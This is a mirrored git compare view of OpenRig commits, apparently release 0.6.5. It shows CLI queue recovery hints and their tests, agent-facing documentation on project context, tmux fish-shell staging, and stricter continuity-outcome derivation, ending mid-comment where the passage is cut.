mirror of
https://github.com/mvschwarz/openrig.git
synced 2026-11-08 17:31:56 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
5ea35e93bc | ||
|
|
f633b2310e | ||
|
|
852e3d550f | ||
|
|
4b43921b9c | ||
|
|
1374258c90 | ||
|
|
4cbba04137 | ||
|
|
cf6d82be1e | ||
|
|
94d2da21ef | ||
|
|
5503930448 |
No files matched your search
Generated
+5
-5
@@ -1,12 +1,12 @@
|
||||
{
|
||||
"name": "openrig",
|
||||
"version": "0.6.3",
|
||||
"version": "0.6.5",
|
||||
"lockfileVersion": 3,
|
||||
"requires": true,
|
||||
"packages": {
|
||||
"": {
|
||||
"name": "openrig",
|
||||
"version": "0.6.3",
|
||||
"version": "0.6.5",
|
||||
"license": "Apache-2.0",
|
||||
"workspaces": [
|
||||
"packages/daemon",
|
||||
@@ -7068,7 +7068,7 @@
|
||||
},
|
||||
"packages/cli": {
|
||||
"name": "@openrig/cli",
|
||||
"version": "0.6.3",
|
||||
"version": "0.6.5",
|
||||
"hasInstallScript": true,
|
||||
"license": "Apache-2.0",
|
||||
"dependencies": {
|
||||
@@ -7103,7 +7103,7 @@
|
||||
},
|
||||
"packages/daemon": {
|
||||
"name": "@openrig/daemon",
|
||||
"version": "0.6.3",
|
||||
"version": "0.6.5",
|
||||
"license": "Apache-2.0",
|
||||
"dependencies": {
|
||||
"@hono/node-server": "^1.13.0",
|
||||
@@ -7144,7 +7144,7 @@
|
||||
},
|
||||
"packages/ui": {
|
||||
"name": "@openrig/ui",
|
||||
"version": "0.6.3",
|
||||
"version": "0.6.5",
|
||||
"license": "Apache-2.0",
|
||||
"dependencies": {
|
||||
"@fontsource-variable/jetbrains-mono": "^5.2.8",
|
||||
|
||||
+1
-1
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "openrig",
|
||||
"version": "0.6.3",
|
||||
"version": "0.6.5",
|
||||
"private": true,
|
||||
"license": "Apache-2.0",
|
||||
"type": "module",
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "@openrig/cli",
|
||||
"version": "0.6.3",
|
||||
"version": "0.6.5",
|
||||
"type": "module",
|
||||
"description": "Build your own network of agents from Claude Code, Codex and Pi: persistent teams with roles, shared context and owned work.",
|
||||
"keywords": [
|
||||
|
||||
@@ -163,6 +163,33 @@ function printResult(json: boolean, body: unknown, status: number): void {
|
||||
if (status >= 400) process.exitCode = status >= 500 ? 2 : 1;
|
||||
}
|
||||
|
||||
// Recovery belongs to the selected daemon's reply; never infer a host from an ID.
|
||||
async function printQueueItemResult(
|
||||
client: DaemonClient,
|
||||
qitemId: string,
|
||||
json: boolean,
|
||||
body: unknown,
|
||||
status: number,
|
||||
): Promise<void> {
|
||||
if (status >= 400 && body && typeof body === "object"
|
||||
&& (body as { error?: unknown }).error === "qitem_not_found") {
|
||||
let selfHostId: string | undefined;
|
||||
try {
|
||||
const health = await client.get<{ selfHostId?: unknown }>("/healthz", { timeoutMs: 1_000 });
|
||||
if (health.status === 200 && typeof health.data?.selfHostId === "string" && health.data.selfHostId.trim()) {
|
||||
selfHostId = health.data.selfHostId;
|
||||
}
|
||||
} catch { /* Identity enrichment must not replace the original queue failure. */ }
|
||||
const daemon = selfHostId ? `daemon ${JSON.stringify(selfHostId)}` : "the selected daemon (host ID unavailable)";
|
||||
body = {
|
||||
...body,
|
||||
hint: `Queue item ${JSON.stringify(qitemId)} was not found on ${daemon}.\n`
|
||||
+ `If it came from another host, run rig host list; replace <daemon-url> with its registered daemon URL and run: OPENRIG_URL='<daemon-url>' rig queue show ${shellQuote(qitemId)} --full --json`,
|
||||
};
|
||||
}
|
||||
printResult(json, body, status);
|
||||
}
|
||||
|
||||
// OPR.0.4.3.03 — `rig queue show` body preview.
|
||||
//
|
||||
// Default `show` renders a BOUNDED body preview instead of dumping the whole
|
||||
@@ -656,7 +683,7 @@ export function queueCommand(depsOverride?: QueueDeps): Command {
|
||||
const deps = getDeps();
|
||||
await withClient(deps, async (client) => {
|
||||
const res = await client.post<unknown>(`/api/queue/${encodeURIComponent(qitemId)}/claim`, {});
|
||||
printResult(opts.json ?? false, res.data, res.status);
|
||||
await printQueueItemResult(client, qitemId, opts.json ?? false, res.data, res.status);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -675,7 +702,7 @@ export function queueCommand(depsOverride?: QueueDeps): Command {
|
||||
const res = await client.post<unknown>(`/api/queue/${encodeURIComponent(qitemId)}/unclaim`, {
|
||||
reason: opts.reason,
|
||||
});
|
||||
printResult(opts.json ?? false, res.data, res.status);
|
||||
await printQueueItemResult(client, qitemId, opts.json ?? false, res.data, res.status);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -726,7 +753,7 @@ export function queueCommand(depsOverride?: QueueDeps): Command {
|
||||
evidenceRef: opts.evidenceRef,
|
||||
transitionNote: opts.note,
|
||||
});
|
||||
printResult(opts.json ?? false, res.data, res.status);
|
||||
await printQueueItemResult(client, qitemId, opts.json ?? false, res.data, res.status);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -782,7 +809,7 @@ workspace home that is deferred/not-imminent belongs in its mission/slice.`)
|
||||
wakeAfterSeconds: opts.wakeAfter,
|
||||
transitionNote: opts.continuation ? `continuation: ${opts.continuation}` : (opts.note ?? `parked on ${opts.on}`),
|
||||
});
|
||||
printResult(opts.json ?? false, res.data, res.status);
|
||||
await printQueueItemResult(client, qitemId, opts.json ?? false, res.data, res.status);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -825,7 +852,7 @@ workspace home that is deferred/not-imminent belongs in its mission/slice.`)
|
||||
},
|
||||
bearer ? { headers: { Authorization: `Bearer ${bearer}` } } : undefined,
|
||||
);
|
||||
printResult(opts.json ?? false, res.data, res.status);
|
||||
await printQueueItemResult(client, qitemId, opts.json ?? false, res.data, res.status);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -918,7 +945,7 @@ workspace home that is deferred/not-imminent belongs in its mission/slice.`)
|
||||
nudge: opts.nudge,
|
||||
...(hostResolved.hostId !== undefined ? { hostId: hostResolved.hostId } : {}),
|
||||
});
|
||||
printResult(opts.json ?? false, res.data, res.status);
|
||||
await printQueueItemResult(client, qitemId, opts.json ?? false, res.data, res.status);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1011,7 +1038,7 @@ workspace home that is deferred/not-imminent belongs in its mission/slice.`)
|
||||
nudge: opts.nudge,
|
||||
...(hostResolved.hostId !== undefined ? { hostId: hostResolved.hostId } : {}),
|
||||
});
|
||||
printResult(opts.json ?? false, res.data, res.status);
|
||||
await printQueueItemResult(client, qitemId, opts.json ?? false, res.data, res.status);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1048,7 +1075,7 @@ workspace home that is deferred/not-imminent belongs in its mission/slice.`)
|
||||
fallbackDestination: opts.destination,
|
||||
reason: opts.reason,
|
||||
});
|
||||
printResult(opts.json ?? false, res.data, res.status);
|
||||
await printQueueItemResult(client, qitemId, opts.json ?? false, res.data, res.status);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1068,7 +1095,7 @@ workspace home that is deferred/not-imminent belongs in its mission/slice.`)
|
||||
// passthrough on error responses / non-object payloads, where there is
|
||||
// no string body to preview.
|
||||
if (opts.full || res.status >= 400 || !isRecordWithStringBody(item)) {
|
||||
printResult(json, item, res.status);
|
||||
await printQueueItemResult(client, qitemId, json, item, res.status);
|
||||
return;
|
||||
}
|
||||
const { preview, bodyBytes, bodyTruncated } = previewBody(item.body);
|
||||
@@ -1092,7 +1119,7 @@ workspace home that is deferred/not-imminent belongs in its mission/slice.`)
|
||||
const deps = getDeps();
|
||||
await withClient(deps, async (client) => {
|
||||
const res = await client.get<unknown>(`/api/queue/${encodeURIComponent(qitemId)}/transitions`);
|
||||
printResult(opts.json ?? false, res.data, res.status);
|
||||
await printQueueItemResult(client, qitemId, opts.json ?? false, res.data, res.status);
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
@@ -163,7 +163,7 @@ function printHuman(status: SeatStatusResponse): void {
|
||||
}
|
||||
console.log(`Startup: ${display(status.startup_status, "unknown")}`);
|
||||
console.log(`Occupant lifecycle: ${status.occupant_lifecycle}`);
|
||||
console.log(`Continuity outcome: ${display(status.continuity_outcome, "unknown")}`);
|
||||
console.log(`Continuity outcome: ${display(status.continuity_outcome, "unverified")}`);
|
||||
console.log(`Handover result: ${display(status.handover_result)}`);
|
||||
console.log(`Previous occupant: ${display(status.previous_occupant)}`);
|
||||
console.log(`Handover at: ${display(status.handover_at)}`);
|
||||
|
||||
@@ -0,0 +1,110 @@
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { DaemonTimeoutError } from "../src/client.js";
|
||||
import { queueCommand, type QueueDeps } from "../src/commands/queue.js";
|
||||
import { shellQuote } from "../src/cross-host-executor.js";
|
||||
|
||||
vi.mock("../src/daemon-lifecycle.js", async () => ({
|
||||
...await vi.importActual("../src/daemon-lifecycle.js"),
|
||||
getDaemonStatus: vi.fn(async () => ({ state: "running", healthy: true, port: 7433 })),
|
||||
getDaemonUrl: vi.fn(() => "http://selected-daemon:7433"),
|
||||
}));
|
||||
|
||||
const id = "qitem-xh-missing";
|
||||
const verbs = [
|
||||
["show"], ["transitions"], ["claim"], ["unclaim"],
|
||||
["update", "--note", "a note"],
|
||||
["block", "--on", "external:dependency"],
|
||||
["resolve", "--decision", "continue"],
|
||||
["handoff", "--to", "peer@rig", "--summary", "Continue"],
|
||||
["handoff-and-complete", "--to", "peer@rig", "--summary", "Continue"],
|
||||
["fallback", "--destination", "peer@rig"],
|
||||
];
|
||||
|
||||
function setup(response = { status: 404, data: { error: "qitem_not_found", message: "original detail" } },
|
||||
health: unknown = { status: 200, data: { selfHostId: "selected-host" } }) {
|
||||
const calls: Array<{ path: string; options?: unknown }> = [];
|
||||
const client = {
|
||||
baseUrl: "http://selected-daemon:7433",
|
||||
get: vi.fn(async (path: string, options?: unknown) => {
|
||||
calls.push({ path, options });
|
||||
if (path === "/healthz") {
|
||||
if (health instanceof Error) throw health;
|
||||
return health;
|
||||
}
|
||||
return response;
|
||||
}),
|
||||
post: vi.fn(async (path: string) => { calls.push({ path }); return response; }),
|
||||
};
|
||||
const deps: QueueDeps = {
|
||||
lifecycleDeps: {} as QueueDeps["lifecycleDeps"],
|
||||
clientFactory: (baseUrl) => {
|
||||
expect(baseUrl).toBe(client.baseUrl);
|
||||
return client as unknown as ReturnType<QueueDeps["clientFactory"]>;
|
||||
},
|
||||
};
|
||||
return { deps, calls };
|
||||
}
|
||||
|
||||
let output: string[];
|
||||
beforeEach(() => {
|
||||
vi.stubEnv("OPENRIG_SESSION_NAME", "seat@rig");
|
||||
output = [];
|
||||
vi.spyOn(console, "log").mockImplementation((...args) => output.push(args.join(" ")));
|
||||
vi.spyOn(console, "error").mockImplementation(() => {});
|
||||
vi.spyOn(process.stderr, "write").mockImplementation(() => true);
|
||||
process.exitCode = undefined;
|
||||
});
|
||||
afterEach(() => { process.exitCode = undefined; vi.unstubAllEnvs(); vi.restoreAllMocks(); });
|
||||
|
||||
for (const json of [false, true]) {
|
||||
describe(json ? "JSON recovery" : "human recovery", () => {
|
||||
it.each(verbs)("%s names the selected host and a read-only recovery", async (verb, ...options) => {
|
||||
const { deps, calls } = setup();
|
||||
await queueCommand(deps).parseAsync(["node", "rig", verb, id, ...options, ...(json ? ["--json"] : [])]);
|
||||
expect(process.exitCode).toBe(1);
|
||||
const body = JSON.parse(output.join("\n"));
|
||||
expect(body.error).toBe("qitem_not_found");
|
||||
expect(body.message).toBe("original detail");
|
||||
expect(body.hint).toBe(`Queue item "${id}" was not found on daemon "selected-host".\n`
|
||||
+ `If it came from another host, run rig host list; replace <daemon-url> with its registered daemon URL and run: OPENRIG_URL='<daemon-url>' rig queue show ${shellQuote(id)} --full --json`);
|
||||
expect(calls).toHaveLength(2);
|
||||
expect(calls[1]).toEqual({ path: "/healthz", options: { timeoutMs: 1_000 } });
|
||||
expect(calls.some(c => c.path.includes("/hosts"))).toBe(false);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
it.each([
|
||||
new DaemonTimeoutError("identity read timed out"),
|
||||
{ status: 200, data: {} },
|
||||
{ status: 503, data: { selfHostId: "not-confirmed" } },
|
||||
])("keeps recovery and exit1 when host identity is unavailable", async (health) => {
|
||||
const { deps } = setup(undefined, health);
|
||||
await queueCommand(deps).parseAsync(["node", "rig", "show", id, "--json"]);
|
||||
const body = JSON.parse(output.join("\n"));
|
||||
expect(body.error).toBe("qitem_not_found");
|
||||
expect(body.hint).toContain("selected daemon (host ID unavailable)");
|
||||
expect(body.hint).toContain("rig host list");
|
||||
expect(body.hint).not.toContain("not-confirmed");
|
||||
expect(process.exitCode).toBe(1);
|
||||
});
|
||||
|
||||
it.each([200, 403, 500])("leaves other response/status %s unchanged without an identity request", async (status) => {
|
||||
const data = { error: "some_other_result", message: "unchanged" };
|
||||
const { deps, calls } = setup({ status, data });
|
||||
await queueCommand(deps).parseAsync(["node", "rig", "transitions", id, "--json"]);
|
||||
expect(JSON.parse(output.join("\n"))).toEqual(data);
|
||||
expect(process.exitCode).toBe(status >= 500 ? 2 : status >= 400 ? 1 : undefined);
|
||||
expect(calls).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("quotes the supplied ID without guessing a host or suggesting a write replay", async () => {
|
||||
const supplied = "remote' item";
|
||||
const { deps, calls } = setup();
|
||||
await queueCommand(deps).parseAsync(["node", "rig", "update", supplied, "--note", "keep", "--json"]);
|
||||
const body = JSON.parse(output.join("\n"));
|
||||
expect(body.hint).toContain(`rig queue show ${shellQuote(supplied)} --full --json`);
|
||||
expect(body.hint).not.toContain("queue update");
|
||||
expect(calls[0]?.path).toBe(`/api/queue/${encodeURIComponent(supplied)}/update`);
|
||||
expect(process.exitCode).toBe(1);
|
||||
});
|
||||
@@ -245,7 +245,7 @@ describe("rig seat status", () => {
|
||||
const output = logs.join("\n");
|
||||
expect(exitCode).toBeUndefined();
|
||||
expect(output).toContain("Occupant lifecycle: active");
|
||||
expect(output).toContain("Continuity outcome: unknown");
|
||||
expect(output).toContain("Continuity outcome: unverified");
|
||||
expect(output).toContain("Handover result: none");
|
||||
expect(output).toContain("Previous occupant: none");
|
||||
});
|
||||
|
||||
@@ -48,6 +48,11 @@ When you need to know what OpenRig can do, run `rig context get onboarding-width
|
||||
`public-what-you-can-do.md` is the capability map and `public-reference-material.md` the documentation map. For
|
||||
any one command, `rig <command> --help` on the installed binary is the most current answer.
|
||||
|
||||
When your work belongs to a project, `rig context work-install` lists what this project declares (intent, context
|
||||
files, skills). Read the ones your task needs; `--deliver` prints them all. If several projects are declared, it
|
||||
stops with `project_required`; `rig context work-install --json` lists their ids. Pick one with `--project <id>`
|
||||
rather than guessing.
|
||||
|
||||
If you plan or route work, a project's world pack is worth loading in full. If you build, stay with the outcome you
|
||||
were handed and what counts as done. If you are setting up a world pack for your own project,
|
||||
`rig context get world-example` has a fill-in template.
|
||||
+4
-1
@@ -158,7 +158,10 @@ You have facts without connections. Rebuild the connections before you act on an
|
||||
`rig context profile <world-ref> --situation post-compaction --rig <rig> --seat <seat>` (the seat flags are
|
||||
needed for its seat-scoped recap atom; take both values from `rig whoami --json`). Without a private world,
|
||||
run `rig context profile world-public --situation post-compaction` and `rig context get onboarding-width`. This restores how the system works before you
|
||||
restore what you were doing in it.
|
||||
restore what you were doing in it. If your work belongs to a project, re-enter its declared context too:
|
||||
`rig context work-install` lists what the project declares (intent, context files, skills), so read the pieces
|
||||
your task needs. `--deliver` prints them all; when several projects are declared (`--json` lists the ids), name
|
||||
one with `--project <id>`.
|
||||
4. **Read your own restore map in full**: the newest `RESTORE-MAP-*.md` in your seat folder, which the
|
||||
compaction summary should name. If it points to an earlier map for context you need, read that too.
|
||||
5. **Read down the map's ranked list** to your class's tier line, reading exactly the parts each entry names.
|
||||
|
||||
+4
-1
@@ -89,7 +89,10 @@ you should know which pillar you're operating in:
|
||||
OpenRig manages topology and exposes public context through `rig context`.
|
||||
Project-authored sources supply project-specific knowledge; transcripts retain
|
||||
recorded work. These sources already coexist. Discover the configured library
|
||||
and selected task context rather than assuming a particular private corpus.
|
||||
and selected task context rather than assuming a particular private corpus:
|
||||
`rig context list` shows the configured packs, and `rig context work-install`
|
||||
lists what the current project declares (intent, context files, skills), so you
|
||||
read only the pieces a task needs.
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -343,6 +343,23 @@ mission carries its intent and mission-level specification in the same authored
|
||||
`mission-slice-sop` and any explicit mode overlay; mission specification is not a
|
||||
requirement to repeat every slice detail.
|
||||
|
||||
### Project knowledge: three kinds, three homes
|
||||
|
||||
Before you write down something you learned about a project, decide which kind it is.
|
||||
|
||||
- **Product facts** say what is true of the software at a version: commands, behaviour, formats. They live in the
|
||||
product's own documentation, versioned with the code and checked against source. Anywhere else, link to them
|
||||
rather than copying them; a copy stops following releases.
|
||||
- **Project judgment** says how to work on the project now: intent, workflow, priorities, routes, who decides what.
|
||||
It lives in the project's world pack and its work tree, and it can change without a release.
|
||||
- **Machine-local state** is true of one instance only: paths, hosts, live rosters, counts, credentials. It belongs
|
||||
in configuration, in a seat's `LEARNED.md`, or as the command that derives it. It never goes into shipped content
|
||||
or a shared world.
|
||||
|
||||
Agents find a project's declared context with `rig context work-install`, which lists what the project declares:
|
||||
its intent, the context files in its `project.yaml` `install` block, and its skills. When project knowledge should
|
||||
reach every agent working on the project, add it to that declaration rather than starting a second index.
|
||||
|
||||
### The other axis: AUDIENCE is not MATURITY
|
||||
|
||||
These are independent, and merging them is seductive because the merged version is prettier.
|
||||
|
||||
@@ -596,9 +596,11 @@ the restore reconciler's exact native-token and usable-pane checks; `--reason`
|
||||
cannot replace them. Subset-restore attention can reach the attestation path
|
||||
when no active pane-identity class takes precedence. That path records
|
||||
`operator_recovered` with `runtimeCwdVerified:false`; it is an acknowledgment,
|
||||
not proof of resumed lineage. Current inventory can still derive `resumed` from
|
||||
that outcome when no explicit continuity outcome exists, so do not use that
|
||||
label alone as continuity evidence.
|
||||
not proof of resumed lineage. Without an explicit stored continuity outcome,
|
||||
inventory leaves continuity null (`unverified` in `rig seat status`) unless the
|
||||
same restore attempt has a matching receipt and reconciliation with strict
|
||||
native-token and usable-pane proof. Explicit stored outcomes remain historical
|
||||
facts; acknowledgment or responsiveness alone cannot infer `resumed`.
|
||||
|
||||
### Native Codex session id capture
|
||||
|
||||
|
||||
+4
-1
@@ -228,7 +228,10 @@ pre-release is a real failure. For the actual job, follow the **role-appropriate
|
||||
packet or boot points at — a high-context seat may still owe a **wide, blunt read-back** before
|
||||
real work. The markdown control plane routes you to depth **on demand**: reach for
|
||||
`find-openrig-skills` and the codemaps to pull exactly what a question needs, when it
|
||||
arises. Wide-angle first, then depth by need.
|
||||
arises. Wide-angle first, then depth by need. For the project the seat works on,
|
||||
`rig context work-install` lists what it declares (intent, context files, skills); read what
|
||||
your first task needs, and when it reports several projects (`--json` lists the ids), select one
|
||||
with `--project <id>`.
|
||||
|
||||
## See also
|
||||
|
||||
|
||||
@@ -26,6 +26,9 @@ the complete node and notes bodies. The script resolves `topology.root` and `wor
|
||||
`rig config get`. When a current node cannot be derived, set `OPENRIG_REFOCUS_TOPOLOGY_NODE` or
|
||||
`OPENRIG_REFOCUS_WORK_NODE`, or pass the matching `--*-start` option.
|
||||
|
||||
The trace walks the topology and work trees. For the project's own declared context (intent, context files,
|
||||
skills), `rig context work-install` lists it; read what the next action needs.
|
||||
|
||||
Read [references/refocus.md](references/refocus.md) when changing the automatic hook or its content
|
||||
ladder. A missing chain file is evidence: report the gap and continue; never follow pointers to invent
|
||||
a second parent.
|
||||
+5
@@ -103,6 +103,11 @@ stay durable-substrate-first (the packet/artifacts are the truth; the CLI is the
|
||||
3. **A runtime resume is mistaken for a seat handover or fork.** These have different continuity outcomes and provenance — don't conflate.
|
||||
4. **A rebuilt seat starts with stale instructions that conflict with current workflow mode.** Restore must include current state, not just historical state.
|
||||
|
||||
**Re-entering project context, on any runtime.** A restore packet carries the work in flight, not the project's
|
||||
declared intent and context files. `rig context work-install` lists what the project declares; read the pieces the
|
||||
restored task needs. `--deliver` prints them all, and when several projects are declared (`--json` lists the
|
||||
ids), select one with `--project <id>` instead of guessing.
|
||||
|
||||
## Proof standard
|
||||
|
||||
Proof should include a deliberate compaction/restart of a seat with
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "@openrig/daemon",
|
||||
"version": "0.6.3",
|
||||
"version": "0.6.5",
|
||||
"private": true,
|
||||
"license": "Apache-2.0",
|
||||
"type": "module",
|
||||
|
||||
@@ -337,10 +337,9 @@ export class ClaudeCodeAdapter implements RuntimeAdapter {
|
||||
return { ok: true, resumeToken: opts.resumeToken, resumeType: "claude_id", appliedLaunch };
|
||||
}
|
||||
|
||||
// Belt-and-suspenders: prefer an immediately discoverable persisted session,
|
||||
// but fall back to the UUID we assigned explicitly at launch time.
|
||||
const token = this.captureResumeToken(opts.name, managed?.configDir);
|
||||
return { ok: true, resumeToken: token ?? generatedSessionId ?? undefined, resumeType: "claude_id", appliedLaunch };
|
||||
// Fresh launches already have an explicit --session-id. A same-name file
|
||||
// can belong to another seat sharing the Claude config directory.
|
||||
return { ok: true, resumeToken: generatedSessionId!, resumeType: "claude_id", appliedLaunch };
|
||||
}
|
||||
|
||||
async checkReady(binding: NodeBinding): Promise<ReadinessResult> {
|
||||
|
||||
@@ -11,7 +11,7 @@ interface TmuxShellCommandOptions {
|
||||
stageIfLong?: boolean;
|
||||
/** A staged single-executable runner must replace the staging shell. */
|
||||
execInScript?: boolean;
|
||||
/** Preserve rc aliases/functions in a POSIX pane shell; other shells use /bin/sh. */
|
||||
/** Preserve rc aliases/functions in POSIX or fish panes; other shells use /bin/sh. */
|
||||
sourceInPane?: boolean;
|
||||
}
|
||||
|
||||
@@ -655,12 +655,24 @@ export class TmuxAdapter {
|
||||
|
||||
private async sendShellCommandUnchecked(target: string, command: string, beforeInput: (() => void) | undefined, options: TmuxShellCommandOptions): Promise<TmuxResult> {
|
||||
const commandBytes = Buffer.byteLength(command, "utf8");
|
||||
// The subshell/source syntax is not valid in fish or nu. Unknown/unreadable
|
||||
// panes retain the portable /bin/sh invocation used by ordinary staging.
|
||||
// POSIX shells retain subshell isolation; unknown/unreadable panes use sh.
|
||||
const paneShell = options.sourceInPane ? (await this.getPaneCommand(target) ?? "").replace(/^-/, "") : "";
|
||||
const sourceInPane = ["bash", "zsh", "sh", "dash", "ksh"].includes(paneShell);
|
||||
let path = options.stageIfLong && commandBytes <= 512 ? undefined : this.fileOps.tmpName();
|
||||
let invocation = path ? sourceInPane ? `( . ${shellQuote(path)} )` : `/bin/sh ${shellQuote(path)}` : command;
|
||||
if (path && paneShell === "fish") {
|
||||
const quotedPath = shellQuote(path);
|
||||
invocation = `/bin/sh ${quotedPath}`;
|
||||
// Fish single quotes reinterpret POSIX backslashes. Keep those payloads
|
||||
// (and paths) on sh, preserving existing executable launches byte-for-byte.
|
||||
if (!command.includes("\\") && !path.includes("\\")) {
|
||||
// Probe fixed syntax in the pane before sourcing, not the launch's exit
|
||||
// status: even failed cleanup must not turn a later exit into a retry.
|
||||
const sourced = `if eval 'OPENRIG_FISH_ASSIGNMENT_PROBE=1 /bin/sh -c :'; source ${quotedPath}; else; /bin/sh ${quotedPath}; end`;
|
||||
// Repeating the path must not add a refusal for previously valid TMPDIRs.
|
||||
if (Buffer.byteLength(sourced, "utf8") <= 512) invocation = sourced;
|
||||
}
|
||||
}
|
||||
if (Buffer.byteLength(invocation, "utf8") > 512) {
|
||||
// Pi commands below the canonical tty limit still fit when staging cannot.
|
||||
if (options.stageIfLong && commandBytes < 1024) {
|
||||
|
||||
@@ -95,8 +95,8 @@ function claudeSessionToken(args: string[]): string | null {
|
||||
for (let index = 0; index < args.length; index += 1) {
|
||||
const arg = args[index]!;
|
||||
if (index === 0 && /^\(\d+\.\d+\.\d+[^)]*\)$/.test(arg)) continue;
|
||||
if (["--permission-mode", "--model", "--name"].includes(arg)) { index += 1; continue; }
|
||||
if (/^--(?:permission-mode|model|name)=/.test(arg) || arg === "--dangerously-skip-permissions") continue;
|
||||
if (["--permission-mode", "--model", "--name", "--effort"].includes(arg)) { index += 1; continue; }
|
||||
if (/^--(?:permission-mode|model|name|effort)=/.test(arg) || arg === "--dangerously-skip-permissions") continue;
|
||||
const identity = arg.match(/^--(?:session-id|resume)(?:=(.*))?$/);
|
||||
if (!identity) return null; // Unknown argv is not positive identity proof.
|
||||
const value = identity[1] ?? args[++index];
|
||||
@@ -115,12 +115,12 @@ function claudeSessionIdentity(args: string[]): string | null | { unparsed: true
|
||||
for (let index = 0; index < args.length; index += 1) {
|
||||
const arg = args[index]!;
|
||||
if (index === 0 && /^\(\d+\.\d+\.\d+[^)]*\)$/.test(arg)) continue;
|
||||
if (["--permission-mode", "--model", "--name", "--settings"].includes(arg)) {
|
||||
if (["--permission-mode", "--model", "--name", "--settings", "--effort"].includes(arg)) {
|
||||
const value = args[++index];
|
||||
if (!value || value.startsWith("-")) return unparsed;
|
||||
continue;
|
||||
}
|
||||
if (/^--(?:permission-mode|model|name|settings)=/.test(arg) || arg === "--dangerously-skip-permissions") continue;
|
||||
if (/^--(?:permission-mode|model|name|settings|effort)=/.test(arg) || arg === "--dangerously-skip-permissions") continue;
|
||||
const identity = arg.match(/^--(?:session-id|resume)(?:=(.*))?$/);
|
||||
if (!identity) return unparsed; // Unknown argv is not positive identity proof.
|
||||
const value = identity[1] ?? args[++index];
|
||||
|
||||
@@ -249,18 +249,20 @@ function deriveOccupantLifecycle(
|
||||
|
||||
function deriveContinuityOutcome(
|
||||
row: InventoryRow,
|
||||
restoreOutcome: NodeRestoreOutcome,
|
||||
restore: RestoreProjection | undefined,
|
||||
): NodeInventoryEntry["continuityOutcome"] {
|
||||
if (row.continuity_outcome) {
|
||||
return row.continuity_outcome as NodeInventoryEntry["continuityOutcome"];
|
||||
}
|
||||
const restoreOutcome = restore?.outcome ?? "n-a";
|
||||
if (restoreOutcome === "n-a") return null;
|
||||
// L3: `attention_required` and `operator_recovered` are restore-attempt
|
||||
// outcomes that don't map onto the ContinuityOutcome vocabulary
|
||||
// ("resumed"|"rebuilt"|"forked"|"fresh"|"failed"). Surface as null here;
|
||||
// the lifecycleState projection picks them up via restoreOutcome directly.
|
||||
// Acknowledgment and responsiveness clear attention, not conversation lineage.
|
||||
// Only the winning reconciliation's bound strict proof can infer a resume.
|
||||
// Explicit stored outcomes above remain historical facts, not fresh probes.
|
||||
if (restoreOutcome === "attention_required") return null;
|
||||
if (restoreOutcome === "operator_recovered") return "resumed";
|
||||
if (restoreOutcome === "operator_recovered") {
|
||||
return restore?.resumedRuntime === row.runtime ? "resumed" : null;
|
||||
}
|
||||
// OPR.0.3.4.2: a deliberate fresh-prime IS fresh continuity; awaiting-decision
|
||||
// means zero session, so no continuity outcome exists — null (the
|
||||
// restoreOutcome field carries the distinct term).
|
||||
@@ -269,44 +271,96 @@ function deriveContinuityOutcome(
|
||||
return restoreOutcome;
|
||||
}
|
||||
|
||||
// FS-1 W1.3 S1 — hoist restore-outcome derivation to ONCE-PER-RIG.
|
||||
// Prior shape: deriveRestoreOutcome(db, rigId, nodeId) fetched + JSON-parsed the
|
||||
// rig's ENTIRE restore-event set once PER NODE inside buildInventoryEntry (K
|
||||
// nodes x E events per rig per poll = the dominant W3 residual). This builds a
|
||||
// nodeId->outcome map in ONE seq-DESC pass and buildInventoryEntry does an O(1)
|
||||
// lookup.
|
||||
// OPR.0.3.4.11 + 0.4.0.16: per-node-latest across restore.completed,
|
||||
// restore.subset_completed, AND restore.outcome_reconciled. reconciled has a
|
||||
// different shape (top-level nodeId/to, not result.nodes[]).
|
||||
// BYTE-IDENTICAL BY CONSTRUCTION: the prior per-node reader returned the FIRST
|
||||
// event in seq-DESC order that referenced the node. This single seq-DESC pass
|
||||
// sets a node's outcome ONLY IF ABSENT — so the first (highest-seq) event
|
||||
// referencing a node wins, reproducing exactly that (incl.
|
||||
// newer-reconcile-overrides-older-failure). rigId given -> WHERE rig_id=? (the
|
||||
// prior single-rig filter); rigId omitted -> all rigs in one pass (a nodeId is
|
||||
// referenced only by its own rig's events, so the per-node value is identical).
|
||||
// [GUARD AT CODE REVIEW: the only-if-absent set is the one load-bearing
|
||||
// semantics cell — it is what preserves first/newest-wins.]
|
||||
function buildRestoreOutcomeMap(db: Database.Database, rigId?: string): Map<string, NodeRestoreOutcome> {
|
||||
const stmt = db.prepare(
|
||||
`SELECT type, payload, seq FROM events WHERE type IN ('restore.completed', 'restore.subset_completed', 'restore.outcome_reconciled')${rigId ? " AND rig_id = ?" : ""} ORDER BY seq DESC`
|
||||
);
|
||||
const rows = (rigId ? stmt.all(rigId) : stmt.all()) as { type: string; payload: string; seq: number }[];
|
||||
const map = new Map<string, NodeRestoreOutcome>();
|
||||
interface RestoreProjection {
|
||||
outcome: NodeRestoreOutcome;
|
||||
resumedRuntime?: "claude-code" | "codex";
|
||||
}
|
||||
|
||||
function restoreKey(rigId: string, nodeId: string): string {
|
||||
return JSON.stringify([rigId, nodeId]);
|
||||
}
|
||||
|
||||
function eventObject(value: unknown): Record<string, any> | undefined {
|
||||
return value !== null && typeof value === "object" && !Array.isArray(value)
|
||||
? value as Record<string, any> : undefined;
|
||||
}
|
||||
|
||||
// One batch for either the selected rig or the fleet. Keep the outcome arm's
|
||||
// existing partial indexes; exclude the rig-only index for starts (NULL node_id)
|
||||
// so the node/type index can select them, with a scan fallback if it is absent.
|
||||
// UNION ALL adds attempt boundaries without a per-node receipt query.
|
||||
// Ascending seq with overwrites preserves the former newest-node, first-wins
